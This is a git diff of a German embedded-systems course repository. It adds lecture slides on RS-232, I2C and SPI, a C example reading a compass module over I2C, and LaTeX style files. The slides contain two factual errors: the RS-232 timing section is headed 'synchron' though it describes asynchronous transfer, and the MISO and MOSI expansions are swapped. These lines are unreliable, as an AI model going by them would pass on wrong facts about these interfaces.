+ \vspace*{-\bigskipamount}
+ \begin{tabbing}
+ \newterm{Punkt-zu-Punkt}\quad\=\kill
+ \newterm{seriell} \> jedes Bit einzeln übertragen\\
+ \newterm{parallel} \> mehrere Bits gleichzeitig\\[\smallskipamount]
+ \newterm{synchron} \> Abgleich über Steuerleitung: \newterm{Takt}\\
+ \newterm{asynchron} \> Abgleich über Zeitvereinbarungen\\[\smallskipamount]
+ \newterm{Punkt-zu-Punkt} \> genau zwei Teilnehmer\\
+ \newterm{busfähig} \> mehrere Teilnehmer, mit \newterm{Adressierung}
+ \end{tabbing}
+
+ \begin{itemize}
+ \item
+ \ItwoC: seriell, synchron, mit Adressierung
+ \item
+ RS-232: seriell, asynchron, Punkt-zu-Punkt
+ \item
+ RS-485, USB, CAN: seriell, asynchron, mit Adressierung
+ \item
+ SPI: seriell, synchron, Punkt-zu-Punkt oder mit Adressierung
+ \end{itemize}
+
+\end{frame}
+
+\subsection{RS-232}
+
+\begin{frame}
+ \showsection
+ \showsubsection
+
+ seriell
+ \begin{itemize}
+ \item
+ \newterm{TX\/}: 1 Leitung für Daten
+ \item
+ \newterm{RX\/}: ggf.\ 1 Leitung für Daten in der anderen Richtung
+ \item
+ \newterm{GND\/}: gemeinsame \newterm{Masse}
+ \item
+ evtl.\ zusätzliche Steuerleitungen
+ \end{itemize}
+
+ \medskip
+
+ synchron
+ \begin{itemize}
+ \item
+ \emph{keine\/} Taktleitung für Abgleich, wann Daten anliegen
+ \item
+ Stattdessen: Abgleich über Zeitvereinbarungen
+ \arrowitem
+ Jeder Teilnehmer braucht eine eigene Zeitbasis.
+ \end{itemize}
+
+ \medskip
+
+ Punkt-zu-Punkt
+ \begin{itemize}
+ \item
+ nur 2 Teilnehmer vorgesehen
+ \end{itemize}
+\end{frame}
+
+\begin{frame}
+ \showsubsection
+ \vspace*{-0.35cm}
+ \begin{center}
+ \includegraphics[scale=0.9]{rs-232.pdf}
+ \end{center}
+\end{frame}
+
+\subsection{\protect\ItwoC\ (TWI)}
+
+\begin{frame}
+ \showsection
+ \showsubsection
+
+ \ItwoC\ = Inter-IC; TWI = Two-Wire-Interface
+
+ \medskip
+
+ seriell
+ \begin{itemize}
+ \item
+ \newterm{SDA\/}: 1 Leitung für Daten (in beiden Richtungen)
+ \item
+ \newterm{SCL\/}: Taktleitung (Clock)
+ \item
+ \newterm{GND\/}: gemeinsame Masse
+ \item
+ evtl.\ \newterm{VCC\/}: Stromversorgung für Peripheriegerät
+ \end{itemize}
+
+ \medskip
+
+ synchron
+ \begin{itemize}
+ \item
+ Abgleich über\\Taktleitung
+ \begin{picture}(0,0)
+ \put(0.4,-0.4){\includegraphics[width=9.7cm]{I2C_data_transfer.pdf}}
+ \end{picture}
+ \end{itemize}
+
+ \medskip
+
+ busfähig
+ \begin{itemize}
+ \item
+ \newterm{Master\/} initiiert Kommuniation und steuert Taktleitung
+ \item
+ erstes gesendetes Byte: \newterm{Adresse\/} des Teilnehmers
+ \item
+ 2 Adressen pro Teilnehmer: Lesen/Schreiben
+ \end{itemize}
+ \vspace*{-1cm}
+\end{frame}
+
+\subsection{SPI}
+
+\begin{frame}
+ \showsection
+ \showsubsection
+
+ Serial Peripheral Interface
+
+ \medskip
+
+ seriell
+ \begin{itemize}
+ \item
+ \newterm{MISO\/}: Master Out, Slave In
+ \item
+ \newterm{MOSI\/}: Master In, Slave Out
+ \item
+ \newterm{SCLK\/}: Taktleitung (Clock)
+ \item
+ \newterm{$\overline{\text{SS}}$\/}: Slave Select (invertiert)
+ \item
+ \newterm{GND\/}: gemeinsame Masse
+ \item
+ evtl.\ \newterm{VCC\/}: Stromversorgung für Peripheriegerät
+ \end{itemize}
+
+ \medskip
+
+ synchron
+ \begin{itemize}
+ \item
+ Abgleich über Taktleitung
+ \end{itemize}
+
+ \medskip
+
+ busfähig
+ \begin{itemize}
+ \item
+ \newterm{Master\/} initiiert Kommuniation und steuert Taktleitung
+ \item
+ \newterm{Slave\/} wird über \newterm{Slave Select\/} ausgewählt
+ \begin{picture}(0,0)
+ \only<1>{\put(-2.175,2.875){\includegraphics[scale=0.7]{SPI_single_slave.pdf}}}
+ \only<2>{\put(-2.0,3.0){\includegraphics[scale=0.7]{SPI_three_slaves.pdf}}}
+ \only<2>{\put(2.55,3.1){\begin{minipage}[t]{2.5cm}
+ \newterm{Stern}
+ \end{minipage}}}
+ \only<3->{\put(-2.0,3.0){\includegraphics[scale=0.7]{SPI_three_slaves_daisy_chained.pdf}}}
+ \only<3->{\put(2.55,3.1){\begin{minipage}[t]{2.5cm}
+ \newterm{Kaskade}\\
+ \newterm{Daisy Chain}\pause[4]\par\smallskip
+ \setlength{\leftskip}{-3.5cm}\small
+ Slave gibt MOSI-Input um 1 Takt verzögert
+ an MISO aus \textarrow\ Master setzt
+ "`im richtigen Moment"' $\overline{\text{SS}}$
+ \end{minipage}}}
+ \end{picture}
+ \end{itemize}
+ \vspace*{-1cm}
+
+\end{frame}
+
+
+\subsection{Beispiel: Benutzung des \protect\ItwoC-Busses}
+
+\begin{frame}[fragile]
+
+ \showsection
+ \showsubsection
+
+ \begin{picture}(0,0)
+ \put(8.75,-0.75){\includegraphics[height=2.75cm]{kompassmodul.jpg}}
+ \end{picture}%
+
+ \begin{onlyenv}<1>
+ \begin{lstlisting}[gobble=6]
+ void read_compass (uint16_t *x, uint16_t *y)
+ {
+ I2CTWI_transmit2Bytes (0x60, 0x00, 0x02); // set coil
+ mSleep (1);
+ I2CTWI_transmit2Bytes (0x60, 0x00, 0x04); // reset coil
+ mSleep (5);
+ uint8_t result[5];
+ I2CTWI_transmit2Bytes (0x60, 0x00, 0x01); // Messung starten
+ mSleep (5); // 5ms warten, bis Sensor fertig gemessen hat
+ I2CTWI_transmitByte (0x60, 0x01); // Leseindex setzen
+ I2CTWI_readBytes (0x61, result, 4); // lesen: msb x, lsb x, msb y, lsb y
+ result[0] &= 0b00001111; // Unwichtge Bits vom msb abschneiden
+ result[2] &= 0b00001111;
+ *x = (result[0] << 8) + result[1]; // Wert berechnen aus msb und lsb
+ *y = (result[2] << 8) + result[3];
+ }
+ \end{lstlisting}
+ \end{onlyenv}
+ \begin{onlyenv}<2-3>
+ \begin{lstlisting}[gobble=6,style=shy]
+ ²void read_compass (uint16_t *x, uint16_t *y)
+ { ... }
+
+ int main (void)
+ {
+ uint16_t compass_x, compass_y;
+ read_compass (&compass_x, &compass_y);¿
+ ³writeInteger (compass_x, DEC);
+ writeChar (' ');
+ writeInteger (compass_y, DEC);
+ writeChar ('\n');¿
+ ²return 0;
+ }¿
+ \end{lstlisting}
+ \end{onlyenv}
+ \begin{onlyenv}<4->
+ \begin{lstlisting}[gobble=6,style=shy]
+ °void read_compass (uint16_t *x, uint16_t *y)
+ {
+ I2CTWI_transmit2Bytes (0x60, 0x00, 0x02); // set coil
+ ¿mSleep (1);
+ I2CTWI_transmit2Bytes (0x60, 0x00, 0x04); // reset coil
+ mSleep (5);
+ uint8_t result[5];
+ I2CTWI_transmit2Bytes (0x60, 0x00, 0x01); // Messung starten
+ mSleep (5); // 5ms warten, bis Sensor fertig gemessen hat
+ I2CTWI_transmitByte (0x60, 0x01); // Leseindex setzen
+ I2CTWI_readBytes (0x61, result, 4); // lesen: msb x, lsb x, msb y, lsb y
+ result[0] &= 0b00001111; // Unwichtge Bits vom msb abschneiden
+ result[2] &= 0b00001111;
+ *x = (result[0] << 8) + result[1]; // Wert berechnen aus msb und lsb
+ *y = (result[2] << 8) + result[3];
+ °}¿
+ \end{lstlisting}
+ \end{onlyenv}
+ \begin{onlyenv}<5-7>
+ \begin{picture}(0,0)
+ \color{red}
+ \put(3.85,5.3){\vector(1,1){0.5}}
+ \put(3.5,5.2){\makebox(0,0)[t]{\shortstack{Gerät adressieren:\\Schreib-Adresse}}}
+ \end{picture}
+ \end{onlyenv}
+ \begin{onlyenv}<6-7>
+ \begin{picture}(0,0)
+ \color{red}
+ \put(5.25,4.5){\vector(0,1){1.3}}
+ \put(5.25,4.4){\makebox(0,0)[t]{\shortstack{Register-Nr.\\innerhalb des Geräts}}}
+ \end{picture}
+ \end{onlyenv}
+ \begin{onlyenv}<7>
+ \begin{picture}(0,0)
+ \color{red}
+ \put(6.6,5.3){\vector(-1,1){0.5}}
+ \put(6.95,5.2){\makebox(0,0)[t]{Befehl: Spule an}}
+ \end{picture}
+ \end{onlyenv}
+ \vspace*{-2cm}
+
+\end{frame}
+
+\begin{frame}[fragile]
+
+ \showsection
+ \showsubsection
+
+ \begin{picture}(0,0)
+ \put(8.75,-0.75){\includegraphics[height=2.75cm]{kompassmodul.jpg}}
+ \end{picture}%
+
+ \begin{lstlisting}[style=shy]
+ ¡void read_compass (uint16_t *x, uint16_t *y)
+ {
+ I2CTWI_transmit2Bytes (0x60, 0x00, 0x02); // set coil
+ mSleep (1);
+ I2CTWI_transmit2Bytes (0x60, 0x00, 0x04); // reset coil
+ mSleep (5);
+ ¿²uint8_t result[5];
+ I2CTWI_transmit2Bytes (0x60, 0x00, 0x01); // Messung starten
+ mSleep (5); // 5ms warten, bis Sensor fertig gemessen hat
+ ¿³I2CTWI_transmitByte (0x60, 0x01); // Leseindex setzen
+ ¿°I2CTWI_readBytes (0x61, result, 4); // lesen: msb x, lsb x, msb y, lsb y
+ result[0] &= 0b00001111; // Unwichtge Bits vom msb abschneiden
+ result[2] &= 0b00001111;
+ *x = (result[0] << 8) + result[1]; // Wert berechnen aus msb und lsb
+ *y = (result[2] << 8) + result[3];
+ ¿¡}¿
+ \end{lstlisting}
+ \vspace*{-2cm}
+
+\end{frame}
+
+\begin{frame}[fragile]
+
+ \showsection
+ \showsubsection
+
+ \begin{picture}(0,0)
+ \put(8.75,-0.75){\includegraphics[height=2.75cm]{kompassmodul.jpg}}
+ \end{picture}%
+ Messung:\\
+ Roboter im Kreis drehen lassen,\\
+ x- und y-Werte aufzeichnen\\
+ und gegeneinander auftragen
+
+ \smallskip
+ Ergebnis: Ellipse
+ \begin{picture}(0,0)(0,0.5)
+ \put(5,-3){\includegraphics[height=4cm]{kompass-messung.png}}
+ \end{picture}%
+
+ \bigskip
+ Anwendung:\\
+ Roboter in eine Himmelsrichtung ausrichten
+ \begin{itemize}
+ \item
+ Achsen normieren:\\
+ Mittelwert subtrahieren
+ \begin{picture}(0,0)(0,0.5)
+ \put(3.75,0.95){\vector(1,0){4}}
+ \put(7.55,0.90){\makebox(0,0)[t]{x}}
+ \put(5.75,-1.05){\vector(0,1){4}}
+ \put(5.75,2.95){\makebox(0,0)[r]{y}}
+ \end{picture}%
+ \item
+ Nulldurchgang einer Achse\\
+ markiert eine Himmelsrichtung
+ \item
+ Vorzeichen der anderen Achse\\
+ sagt aus, welche Himmelsrichtung
+ \end{itemize}
+ \vspace{-0.5cm}
+ \begin{flushright}
+ Beispiel: nach Norden ausrichten\\
+ Grob drehen, bis $y$ positiv ist,
+ fein drehen, bis $x = 0$ ist
+ \end{flushright}
+% $x = 0$, $y$ positiv: Norden\\
+% $x = 0$, $y$ negativ: Süden
+% $y = 0$, $x < 0$: Westen
+% $y = 0$, $x > 0$: Osten
+ \vspace*{-2cm}
+
+\end{frame}
+
+\end{document}
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diff --git a/20170511/pgslides.sty b/20170511/pgslides.sty
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index 0000000000000000000000000000000000000000..cde7d23dea1cf8bc70ff12fd6a2b454fc4c6ab24
--- /dev/null
+++ b/20170511/pgslides.sty
@@ -0,0 +1,228 @@
+% pgslides.sty - LaTeX Settings for Lecture Slides
+% Copyright (C) 2012, 2013 Peter Gerwinski
+%
+% This document is free software: you can redistribute it and/or
+% modify it either under the terms of the Creative Commons
+% Attribution-ShareAlike 3.0 License, or under the terms of the
+% GNU General Public License as published by the Free Software
+% Foundation, either version 3 of the License, or (at your option)
+% any later version.
+%
+% This document is distributed in the hope that it will be useful,
+% but WITHOUT ANY WARRANTY; without even the implied warranty of
+% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+% GNU General Public License for more details.
+%
+% You should have received a copy of the GNU General Public License
+% along with this document. If not, see <http://www.gnu.org/licenses/>.
+%
+% You should have received a copy of the Creative Commons
+% Attribution-ShareAlike 3.0 Unported License along with this
+% document. If not, see <http://creativecommons.org/licenses/>.
+
+\usepackage{amsfonts}
+\usepackage[british,german]{babel} % Yes, really "german" and not "ngerman".
+\usepackage[utf8]{luainputenc} % Without this, umlauts are broken. Weird.
+\usepackage{microtype}
+\usepackage[T1]{fontenc}
+\usepackage{times}
+\usepackage{helvet}
+\renewcommand*\familydefault{\sfdefault}
+\usepackage{graphicx}
+\usepackage{pstricks}
+
+\hypersetup{colorlinks,allcolors=blue}
+
+%% @@@ Not necessary for slides. Why???
+%% Repair kerning: Automatically insert "\kern{-0.15em}" between "//" % (in URLs).
+%\directlua{
+% local glyph = node.id ("glyph")
+% local function my_kerning (head)
+% for t in node.traverse (head) do
+% if t.id == glyph and t.char == 47 then
+% if t.next
+% and t.next.next
+% and t.next.next.id == glyph
+% and t.next.next.char == 47 then
+% local k = node.new ("kern")
+% k.kern = tex.sp ("-0.15em")
+% k.next = t.next
+% k.prev = t
+% t.next.prev = k
+% t.next = k
+% end
+% end
+% end
+% node.kerning (head)
+% end
+% luatexbase.add_to_callback ("kerning", my_kerning, "URL kerning")
+%}
+
+\usetheme{default}
+\usefonttheme{structurebold}
+\setbeamertemplate{navigation symbols}{}
+\setbeamersize{text margin left = 0.3cm, text margin right = 0.2cm}
+\setbeamertemplate{itemize item}{$\bullet$}
+\setbeamertemplate{itemize subitem}{--}
+\setbeamerfont{itemize/enumerate subbody}{size=\normalsize}
+\setbeamerfont{itemize/enumerate subsubbody}{size=\normalsize}
+\setbeamercolor{footline}{fg=gray}
+
+\newcommand{\sep}{~$\cdot$~}
+
+\newif\ifminimalistic
+\minimalistictrue
+
+\institute[Hochschule Bochum\sep CVH]{%
+ \makebox(0,0)[tl]{\includegraphics[scale=0.57]{logo-hochschule-bochum-cvh-text.pdf}}\hfill
+ \makebox(0,0)[tr]{\includegraphics[scale=0.5]{logo-hochschule-bochum.pdf}}%
+}
+
+\setbeamertemplate{headline}{%
+ \leavevmode
+ \hbox to \textwidth{%
+ \ifminimalistic
+ \strut\hfill
+ \else
+ \rule{0pt}{5.7pt}%
+ \hspace*{8.55pt}\insertinstitute\hspace*{5.7pt}%
+ \raisebox{-30pt}{\rule{0pt}{1pt}}%
+ \fi
+ }%
+ \vskip0pt%
+}
+
+\iffalse
+ \setbeamertemplate{footline}{}
+\else
+ \setbeamertemplate{footline}{%
+ \leavevmode
+ \hbox to \textwidth{%
+ \usebeamercolor{footline}%
+ \usebeamerfont{footline}%
+ \ifminimalistic
+ \strut\hfill
+ \else
+ \,\insertshorttitle\sep
+ \insertshortauthor\sep
+ \insertshortinstitute\sep
+ \insertshortdate\hfill
+ \fi
+ \insertframenumber/\inserttotalframenumber
+ %Folie\,\insertframenumber\sep Seite\,\insertpagenumber\,
+ }%
+ \vskip0pt%
+ }
+\fi
+
+\newcommand{\maketitleframe}{%
+ \ifminimalistic
+ \begin{frame}[t,plain]
+ \insertinstitute
+ \par\vfill
+ \begin{center}
+ {\LARGE\color{structure}\inserttitle\par}\bigskip\bigskip
+ {\large \insertauthor\par}\bigskip\medskip
+ \insertdate
+ \end{center}
+ \end{frame}
+ \else
+ \begin{frame}
+ \vfill
+ \begin{center}
+ {\LARGE\color{structure}\inserttitle\par}\bigskip\bigskip
+ {\large \insertauthor\par}\bigskip\medskip
+ \insertdate
+ \end{center}
+ \vfill
+ \end{frame}
+ \fi
+}
+
+\usepackage{pstricks}
+\newrgbcolor{medgreen}{0.0 0.5 0.0}
+\newrgbcolor{darkgreen}{0.0 0.3 0.0}
+\newrgbcolor{lightred}{1.0 0.7 0.7}
+\newrgbcolor{medred}{0.5 0.0 0.0}
+\newrgbcolor{bored}{0.89 0.0 0.098}
+\newrgbcolor{lightgray}{0.85 0.85 0.85}
+\definecolor{darkgray}{rgb}{0.4,0.4,0.4}
+
+\newenvironment{experts}{\color{darkgray}}{}
+
+\usepackage{listings}
+\lstset{basicstyle=\color{structure},
+ language=C,
+ captionpos=b,
+ gobble=4,
+ columns=fullflexible,
+ aboveskip=0pt,
+ belowskip=0pt,
+ moredelim=**[is][\color{structure}]{¡}{¿},
+ moredelim=**[is][\only<2->{\color{structure}}]{²}{¿},
+ moredelim=**[is][\only<3->{\color{structure}}]{³}{¿},
+ moredelim=**[is][\only<4->{\color{structure}}]{°}{¿},
+ moredelim=**[is][\only<5->{\color{structure}}]{¤}{¿},
+ moredelim=**[is][\only<6->{\color{structure}}]{¢}{¿},
+ moredelim=**[is][\only<7->{\color{structure}}]{æ}{¿},
+ moredelim=**[is][\only<8->{\color{structure}}]{ø}{¿}}
+\lstdefinestyle{terminal}{basicstyle=\ttfamily\color{darkgreen},
+ language={},
+ columns=fixed,
+ moredelim=**[is][\color{red}]{¡}{¿},
+ moredelim=**[is][\color{blendedblue}]{°}{¿},
+ moredelim=**[is][\sffamily\it\lstset{columns=fullflexible}]{²}{¿}}
+\lstdefinestyle{cmd}{basicstyle=\ttfamily\color{red},
+ language={},
+ gobble=2,
+ columns=fixed,
+ moredelim=**[is][\color{darkgreen}]{¡}{¿},
+ moredelim=**[is][\color{structure}]{°}{¿},
+ moredelim=**[is][\sffamily\it\lstset{columns=fullflexible}]{²}{¿}}
+\lstdefinestyle{shy}{basicstyle=\color{lightgray}}
+
+\setcounter{topnumber}{3}
+\renewcommand\topfraction{0.7}
+\setcounter{bottomnumber}{3}
+\renewcommand\bottomfraction{0.7}
+\setcounter{totalnumber}{5}
+\renewcommand\textfraction{0.1}
+\renewcommand\floatpagefraction{0.9}
+
+\setlength{\unitlength}{1cm}
+
+\newcommand{\protectfile}[1]{#1}
+\urlstyle{sf}
+\newcommand{\file}[1]{{\color{structure}\protectfile{#1}}}
+\newcommand{\textarrow}{{\boldmath $\longrightarrow$}}
+\newcommand{\arrowitem}{\item[\textarrow]}
+\newcommand{\newterm}[1]{\emph{\color{darkgreen}#1}}
+\newcommand{\BIGskip}{\vspace{1cm}}
+\newcommand{\shy}{\color{lightgray}}
+\newcommand{\hot}{\color{red}}
+\newcommand{\shyhot}{\color{lightred}}
+
+\newcommand{\sectionnonumber}[1]{\section{#1}\addtocounter{section}{-1}}
+
+\def\showsectionnonumber{\hbox{\Large\color{structure}\bf
+ \vtop{\secname}\par}\bigskip}
+
+\def\showsection{\hbox{\Large\color{structure}\bf
+ \vtop{\hbox{\arabic{section}}}\kern1em%
+ \vtop{\secname}\par}\bigskip}
+
+\newcommand{\subsectionnonumber}[1]{\subsection{#1}\addtocounter{subsection}{-1}}
+
+\def\showsubsectionnonumber{{\large\color{structure}\bf\subsecname\par}\bigskip}
+
+\def\showsubsection{\hbox{\large\color{structure}\bf
+ \vtop{\hbox{\arabic{section}.\arabic{subsection}}}\kern1em%
+ \vtop{\subsecname}\par}\bigskip}
+
+\newcommand{\subsubsectionnonumber}[1]{\subsubsection{#1}\addtocounter{subsubsection}{-1}}
+
+\def\showsubsubsectionnonumber{{\normalsize\color{structure}\bf\subsubsecname\par}\bigskip}
+
+\def\showsubsubsection{\hbox{\normalsize\color{structure}\bf
+ \vtop{\hbox{\arabic{section}.\arabic{subsection}.\arabic{subsubsection}}}\kern1em%
+ \vtop{\subsubsecname}\par}\bigskip}
diff --git a/20170511/photo-20170511-155349.jpg b/20170511/photo-20170511-155349.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..5e3148b448256d8bd2bfda2f4dcdd20f5c4671b5
Binary files /dev/null and b/20170511/photo-20170511-155349.jpg differ
diff --git a/20161110/rs-232.pdf b/20170511/rs-232.pdf
similarity index 100%
rename from 20161110/rs-232.pdf
rename to 20170511/rs-232.pdf
diff --git a/README b/README
index 0ab4eaeb7c214d26ef5484d8d58dadcd35ff7802..19f8065cc2d24027193ecdfadb932c5769e2cd29 100644
--- a/README
+++ b/README
@@ -1,10 +1,10 @@
Eingebettete Systeme
~~~~~~~~~~~~~~~~~~~~
-Lehrveranstaltung im Wintersemester 2016/17
+Lehrveranstaltung im Sommersemester 2017
Hochschule Bochum, Campus Velbert/Heiligenhaus
Prof. Dr. rer. nat. Peter Gerwinski
-Copyright (C) 2012-2016 Peter Gerwinski
+Copyright (C) 2012-2017 Peter Gerwinski
common - gemeinsame Dateien für Skript und Vortragsfolien
script - Skript zur Lehrveranstaltung
@@ -18,11 +18,11 @@ weitergeben. Für Details siehe common/README.
Embedded Systems
~~~~~~~~~~~~~~~~
-Course in winter semester 2016/17
+Course in summer semester 2017
Bochum University of Applied Sciences, Campus Velbert/Heiligenhaus
Prof. Dr. rer. nat. Peter Gerwinski
-Copyright (C) 2012-2016 Peter Gerwinski
+Copyright (C) 2012-2017 Peter Gerwinski
common - common files for lecture notes and slides
script - lecture notes
diff --git a/common/README b/common/README
index b6912372207e9ff192f02e0d276495c3e77fe9b8..30b044d996deb07a006d0c0aebbfb849cb3fdcbc 100644
--- a/common/README
+++ b/common/README
@@ -1,10 +1,10 @@
-Lecture Notes and Examples on Embedded Systems
-Copyright (C) 2012, 2013, 2014, 2015, 2016 Peter Gerwinski <peter@gerwinski.de>
+Lecture Notes and Examples on Software Development for Embedded Systems
+Copyright (C) 2012, 2013, 2014, 2015, 2016, 2017 Peter Gerwinski <peter@gerwinski.de>
These documents are free software; you can redistribute them and/or
modify them under the terms and conditions of the following licenses:
- *.tex: scripts and slides
+ *.tex, *.sty, *.pdf: scripts and slides
- either the GNU General Public License, version 3
or, at your option, any later version,
- or the Creative Commons Attribution-ShareAlike 3.0
@@ -15,12 +15,6 @@ modify them under the terms and conditions of the following licenses:
- or the Creative Commons Attribution-ShareAlike 3.0
Unported License
- * sfmath.sty is subject to the LaTeX Project Public License,
- version 1.3 or later. See that file for details.
-
- * The script uses some other free media files; see the script
- for their individual licenses.
-
These documents are distributed in the hope that they will be
useful, but WITHOUT ANY WARRANTY; without even the implied warranty
of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
diff --git a/common/Retribution_Engine_Screenshot_120807.jpg b/common/Retribution_Engine_Screenshot_120807.jpg
deleted file mode 100644
index 9cc97552d0c274af37643f9037568b43a19277cc..0000000000000000000000000000000000000000
Binary files a/common/Retribution_Engine_Screenshot_120807.jpg and /dev/null differ
diff --git a/common/Telefon_t-sinus-700.jpg b/common/Telefon_t-sinus-700.jpg
deleted file mode 100644
index bbac946c1ab3bd11c97ade38342f419332fc8f46..0000000000000000000000000000000000000000
Binary files a/common/Telefon_t-sinus-700.jpg and /dev/null differ
diff --git a/common/Zeichen_123.pdf b/common/Zeichen_123.pdf
deleted file mode 100644
index 975f570d8bd00caabd473b4ff789e1c4718cccd9..0000000000000000000000000000000000000000
Binary files a/common/Zeichen_123.pdf and /dev/null differ
diff --git a/common/a380.jpg b/common/a380.jpg
deleted file mode 100644
index 49a17597a100bda8d20189b7037061ab91eba1af..0000000000000000000000000000000000000000
Binary files a/common/a380.jpg and /dev/null differ
diff --git a/common/curiosity.jpg b/common/curiosity.jpg
deleted file mode 100644
index 8556f7db10c8eb5e003ac4a7793b2b720c4e3b62..0000000000000000000000000000000000000000
Binary files a/common/curiosity.jpg and /dev/null differ
diff --git a/common/dsc_8208.jpg b/common/dsc_8208.jpg
deleted file mode 100644
index eaa691e11fba97e15dd891c2bf3086c2be17757a..0000000000000000000000000000000000000000
Binary files a/common/dsc_8208.jpg and /dev/null differ
diff --git a/common/herzschrittmacher.jpg b/common/herzschrittmacher.jpg
deleted file mode 100644
index 14c387e0c578f216ba362c5ab0e7bd01b20a8dcb..0000000000000000000000000000000000000000
Binary files a/common/herzschrittmacher.jpg and /dev/null differ
diff --git a/common/pathfinder.jpg b/common/pathfinder.jpg
deleted file mode 100644
index 6100cca988b491fa3b05380ec9ea49346bc6df1f..0000000000000000000000000000000000000000
Binary files a/common/pathfinder.jpg and /dev/null differ
diff --git a/common/pgscript.sty b/common/pgscript.sty
deleted file mode 100644
index b39922c2cb4af7b4963386f2b6f75edf09da73ad..0000000000000000000000000000000000000000
--- a/common/pgscript.sty
+++ /dev/null
@@ -1,110 +0,0 @@
-% pgscript.sty - LaTeX Settings for Lecture Notes
-% Copyright (C) 2012, 2015 Peter Gerwinski
-%
-% This document is free software: you can redistribute it and/or
-% modify it either under the terms of the Creative Commons
-% Attribution-ShareAlike 3.0 License, or under the terms of the
-% GNU General Public License as published by the Free Software
-% Foundation, either version 3 of the License, or (at your option)
-% any later version.
-%
-% This document is distributed in the hope that it will be useful,
-% but WITHOUT ANY WARRANTY; without even the implied warranty of
-% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-% GNU General Public License for more details.
-%
-% You should have received a copy of the GNU General Public License
-% along with this document. If not, see <http://www.gnu.org/licenses/>.
-%
-% You should have received a copy of the Creative Commons
-% Attribution-ShareAlike 3.0 Unported License along with this
-% document. If not, see <http://creativecommons.org/licenses/>.
-
-\usepackage{amsfonts}
-\usepackage[colorlinks,allcolors=blue]{hyperref}
-\usepackage[british,german]{babel} % Yes, really "german" and not "ngerman".
-\usepackage[utf8]{luainputenc} % Without this, umlauts are broken. Weird.
-\usepackage{microtype}
-\usepackage[T1]{fontenc}
-\usepackage{times}
-\usepackage{helvet}
-\renewcommand*\familydefault{\sfdefault}
-\usepackage{graphicx}
-\usepackage{pstricks}
-\usepackage{ifluatex}
-
-%% Repair kerning: Automatically insert "\kern{-0.15em}" between "//" % (in URLs).
-%% PG20151206: This seems unnecessary here. Maybe due to \sf?
-%\ifluatex
-%\directlua{
-% local glyph = node.id ("glyph")
-% local function my_kerning (head)
-% for t in node.traverse (head) do
-% if t.id == glyph and t.char == 47 then
-% if t.next
-% and t.next.next
-% and t.next.next.id == glyph
-% and t.next.next.char == 47 then
-% local k = node.new ("kern")
-% k.kern = tex.sp ("-0.15em")
-% k.next = t.next
-% k.prev = t
-% t.next.prev = k
-% t.next = k
-% end
-% end
-% end
-% node.kerning (head)
-% end
-% luatexbase.add_to_callback ("kerning", my_kerning, "URL kerning")
-%}
-%\fi
-
-\definecolor{blendedblue}{rgb}{0.2,0.2,0.7}
-\definecolor{darkgreen}{rgb}{0.0,0.3,0.0}
-\definecolor{darkred}{rgb}{0.7,0.0,0.0}
-\definecolor{darkgrey}{rgb}{0.4,0.4,0.4}
-
-\newcommand{\breath}{\bigskip\goodbreak}
-\newcommand{\subsubsubsection}[1]{\breath\par\textbf{#1}\nopagebreak\par}
-\newenvironment{experts}{\color{darkgrey}}{}
-\newenvironment{whiteout}{\definecolor{darkgreen}{rgb}{1.0,1.0,1.0}%
- \definecolor{darkred}{rgb}{1.0,1.0,1.0}%
- \color{white}}{}
-\urlstyle{sf}
-\newcommand{\file}[1]{{\color{blendedblue}#1}}
-\newcommand{\textarrow}{{\boldmath $\longrightarrow$}}
-\newcommand{\arrowitem}{\item[\textarrow]}
-\newcommand{\newterm}[1]{\emph{\color{darkgreen}#1}}
-
-\usepackage{listings}
-\lstset{basicstyle=\color{blendedblue},
- language=C,
- captionpos=b,
- gobble=4,
- xleftmargin=1em,
- columns=fullflexible,
- moredelim=**[is][\color{red}]{¡}{¿}}
-\lstdefinestyle{numbered}{xleftmargin=2em,
- numbers=left,
- numberstyle=\footnotesize\color{gray}}
-\lstdefinestyle{terminal}{basicstyle=\ttfamily\color{darkgreen},
- language={},
- columns=fixed,
- moredelim=**[is][\color{darkred}]{¡}{¿},
- moredelim=**[is][\color{blendedblue}]{°}{¿},
- moredelim=**[is][\sffamily\it\lstset{columns=fullflexible}]{²}{¿}}
-\lstdefinestyle{cmd}{basicstyle=\ttfamily\color{darkred},
- language={},
- columns=fixed,
- moredelim=**[is][\color{darkgreen}]{¡}{¿},
- moredelim=**[is][\color{blendedblue}]{°}{¿},
- moredelim=**[is][\sffamily\it\lstset{columns=fullflexible}]{²}{¿}}
-
-\setlength{\textwidth}{16.5cm}
-\setlength{\textheight}{26.0cm}
-\setlength{\hoffset}{-1.5cm}
-\setlength{\voffset}{-3.0cm}
-\setlength{\parindent}{0pt}
-\setlength{\parskip}{\medskipamount}
-\setlength{\unitlength}{1cm}
diff --git a/common/pgslides.sty b/common/pgslides.sty
index 62b70d4d4eaf2dd2986965bb992846fced2e2285..cde7d23dea1cf8bc70ff12fd6a2b454fc4c6ab24 100644
--- a/common/pgslides.sty
+++ b/common/pgslides.sty
@@ -207,11 +207,6 @@
\def\showsectionnonumber{\hbox{\Large\color{structure}\bf
\vtop{\secname}\par}\bigskip}
-\newcommand{\nosectionnonumber}[1]{\gdef\nosectionnonumbername{#1}}
-
-\def\shownosectionnonumber{\hbox{\Large\color{structure}\bf
- \vtop{\nosectionnonumbername}\par}\bigskip}
-
\def\showsection{\hbox{\Large\color{structure}\bf
\vtop{\hbox{\arabic{section}}}\kern1em%
\vtop{\secname}\par}\bigskip}
diff --git a/common/philosophenproblem.jpg b/common/philosophenproblem.jpg
deleted file mode 100644
index e912745d043064ee5d4efc2c5cf58d6fdfdf138d..0000000000000000000000000000000000000000
Binary files a/common/philosophenproblem.jpg and /dev/null differ
diff --git a/common/quadrocopter.jpg b/common/quadrocopter.jpg
deleted file mode 100644
index b430e8d3ba70e518ef365bc101f7d4b8418b4d2b..0000000000000000000000000000000000000000
Binary files a/common/quadrocopter.jpg and /dev/null differ
diff --git a/common/rp6.jpg b/common/rp6.jpg
deleted file mode 100644
index 1695afb690b4fb78878236a1efd0d5c6328370f4..0000000000000000000000000000000000000000
Binary files a/common/rp6.jpg and /dev/null differ
diff --git a/common/sfmath.sty b/common/sfmath.sty
deleted file mode 100644
index 566070f49e04a4c4357691d33272da82c37337b4..0000000000000000000000000000000000000000
--- a/common/sfmath.sty
+++ /dev/null
@@ -1,469 +0,0 @@
